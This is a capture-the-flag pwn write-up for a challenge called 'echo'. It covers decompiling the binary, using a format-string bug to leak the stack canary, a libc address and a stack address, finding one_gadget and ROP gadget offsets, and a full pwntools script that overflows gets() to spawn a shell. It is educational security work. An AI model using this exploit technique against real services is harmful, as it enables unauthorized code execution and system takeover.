pwn/POC CTF: echo
- author

- Name
- acn1
- Github
- @imAcni
Things used in this sol:
- onegadget
- rop chain
- fmtstring leak
- got leak
- canary
First, use pwninit to setup the binary.
Then, using GDB, checksec the binary for protections.
pwndbg> checksec
File: /home/tyler/Downloads/echo/chall/chall_patched
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
pwndbg>
NX enabled usually means ROP and PIE usually means we need a leak of some sort.
Next i'm going to disassemble the binary in Ghidra.
In vuln():
void vuln(void)
{
char *pcVar1;
long in_FS_OFFSET;
char local_158 [64];
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("ur name:");
pcVar1 = fgets(local_118,0x100,stdin);
if (pcVar1 == (char *)0x0) {
/* WARNING: Subroutine does not return */
exit(0);
}
!!fmtstring vulnerability !!
printf(local_118);
puts("\nsend your msg:");
!!buffer overflow!!
gets(local_158);
puts("done");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The binary takes in input, then displays the input back to us but with a format string vulnerability, meaning we can leak values. Then, it prompts for another input which is a buffer overflow due to gets().
Then, I decided to just randomly print values using the format string vulnerability to see if I could leak values from libc or canary.
ur name:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
0x7ffff7fb3b03.0xfbad208b.0x7fffffffdbd0.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xa2e70252e7025.0x7ffff7fb4760.(nil).0x7ffff7e643f1.0x40.0x7ffff7fb4760.(nil).(nil).0x7ffff7fb05e0.0x7ffff7e61299.0x7ffff7fb4760.0x7ffff7e58f1b.(nil).0x68eec5d6.0x7fffffffdd00.0xe76fcb64e2e13400.0x7fffffffdd00.0x5555555552ce.(nil).
send your msg:
Right away, at index 47, we can see the canary was leaked, since canaries on linux always end with 00 (its 0xe76fcb64e2e13400).
To see if I had any got leaks, i did got and looked the values and compared it with some of the values.
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/tyler/Downloads/echo/chall/chall_patched:
GOT protection: Partial RELRO | Found 10 GOT entries passing the filter
[0x555555558000] puts@GLIBC_2.2.5 -> 0x7ffff7e58980 (puts) ◂— push r14
[0x555555558008] getpid@GLIBC_2.2.5 -> 0x7ffff7eb64e0 (getpid) ◂— mov eax, 0x27
[0x555555558010] __stack_chk_fail@GLIBC_2.4 -> 0x555555555056 (__stack_chk_fail@plt+6) ◂— push 2
[0x555555558018] setbuf@GLIBC_2.2.5 -> 0x7ffff7e5f2c0 (setbuf) ◂— mov edx, 0x2000
[0x555555558020] printf@GLIBC_2.2.5 -> 0x7ffff7e335b0 (printf) ◂— sub rsp, 0xd8
[0x555555558028] srand@GLIBC_2.2.5 -> 0x7ffff7e217f0 (srandom) ◂— push rbx
[0x555555558030] fgets@GLIBC_2.2.5 -> 0x7ffff7e57040 (fgets) ◂— push r13
[0x555555558038] time@GLIBC_2.2.5 -> 0x7ffff7fc8fc0 (time) ◂— lea rax, [rip - 0x3fc7]
[0x555555558040] gets@GLIBC_2.2.5 -> 0x7ffff7e58090 (gets) ◂— push r13
[0x555555558048] exit@GLIBC_2.2.5 -> 0x5555555550c6 (exit@plt+6) ◂— push 9 /* 'h\t' */
pwndbg>
Index 43 looked close, and I confirmed that it was relative by running it multiple times using gdb.attach().
index 43 = 0x7ffff7e58f1b, and puts is 0x7ffff7e58980
info proc map gives libc base at 0x7ffff7de1000
pwndbg> p/x 0x7ffff7e58f1b-0x7ffff7de1000
$2 = 0x77f1b
pwndbg>
so libc leak offset is 0x77f1b.
Now that we have a libc leak, and canary leak, we can probably do a rop chain to win.
To do this, i'll be using one_gadget, an easy way to get a shell, just have to call a gadget but with some criteria.
tyler@tchinpc ~/Downloads/echo/chall one_gadget libc.so.6
0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xd515f execve("/bin/sh", rbp-0x40, r13)
constraints:
address rbp-0x38 is writable
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
[r13] == NULL || r13 == NULL || r13 is a valid envp
tyler@tchinpc ~/Downloads/echo/chall
I decided to use the last one, 0xd515f, since I can easily control rbp, rdi, and r13 with a rop chain.
Now, it's rop chain time. Using
ROPgadget --binary libc.so.6 | grep "gadget"
I was able to find the offsets of each gadget I needed:
- pop rdi; ret at 0x277e5
- pop r13; ret at 0x29830
- pop rbp; ret at 0x276ec
Now, I had to find the offset to return instruction and canary. I used cyclic 500 and put it into the gets() buffer. Then, I inspected the registers with pwndbg.
pwndbg> p/x $rbp
$2 = 0x7fffffffdce0
pwndbg> x/gx 0x7fffffffdce0-8
0x7fffffffdcd8: 0x6261616161616171
pwndbg> cyclic -l 0x6261616161616171
Finding cyclic pattern of 8 bytes: b'qaaaaaab' (hex: 0x7161616161616162)
Found at offset 328
pwndbg>
Canary was found at 328, which makes it easy to craft the payload, since rbp is right after canary and then the return address is right after rbp.
The rop chain was this:
- 'A' * 328
- canary
- random stuff for rbp
- pop rbp ; ret
- ...
But i needed to set rbp to somewhere writeable, according to the constraints of the one_gadget.
So, I decided to get a leak from the fmtstring vuln again. That was easy, looking at index 3, 0x7fffffffdbd0, that was on the stack. But it was close to the rop chain, so i subtracted 100 to move it away.
now, the rop chain was
- 'A' * 328
- canary
- random stuff for rbp
- pop rbp ; ret
- stackleak -100
- pop rdi ; ret
- 0
- pop r13 ; ret
- 0
- one_gadget
Final payload:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
LEAK_OFFSET_IN_LIBC = 0x77f1b
POP_RDI_RET_OFFSET = 0x277e5
POP_R13_RET_OFFSET = 0x29830
ONE_GADGET_OFFSET = 0xd515f
POP_RBP_OFFSET = 0x276ec
PADDING_TO_CANARY = 328
r.recvuntil(b"ur name:")
#43 = GOT, #47 CANARY, #3 STACK
leak_payload = b"%43$p.%47$p.%3$p"
r.sendline(leak_payload)
leak_output = r.recvuntil(b"send your msg:", drop=True).decode().strip()
parts = leak_output.split('.')
libc_leak_addr = int(parts[0].strip()[2:], 16)
canary_value = int(parts[1].strip()[2:], 16)
stack_leak = int(parts[2].strip()[2:], 16)
log.info(f"leaked libc: {hex(libc_leak_addr)}")
log.info(f"leaked canary: {hex(canary_value)}")
# Calculate Libc Base Address
LIBC_BASE = libc_leak_addr - LEAK_OFFSET_IN_LIBC
log.success(f"Libc Base: {hex(LIBC_BASE)}")
# Calculate final gadget addresses
POP_RDI_RET_ADDR = LIBC_BASE + POP_RDI_RET_OFFSET
POP_R13_RET_ADDR = LIBC_BASE + POP_R13_RET_OFFSET
ONE_GADGET_ADDR = LIBC_BASE + ONE_GADGET_OFFSET
POPRBPADDR = POP_RBP_OFFSET + LIBC_BASE
log.success(f"pop rdi {hex(POP_RDI_RET_ADDR)}")
log.success(f"pop r13 {hex(POP_R13_RET_ADDR)}")
log.success(f"one_gadget {hex(ONE_GADGET_ADDR)}")
rop = p64(POPRBPADDR)
rop += p64(stack_leak-100)
rop += p64(POP_RDI_RET_ADDR)
rop += p64(0)
rop += p64(POP_R13_RET_ADDR)
rop += p64(0)
rop += p64(ONE_GADGET_ADDR)
# Padding -> Canary -> RBP Junk -> ROP Chain
payload = b"\x00" * PADDING_TO_CANARY
payload += p64(canary_value)
payload += b'A'*8
payload += rop
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
gg!
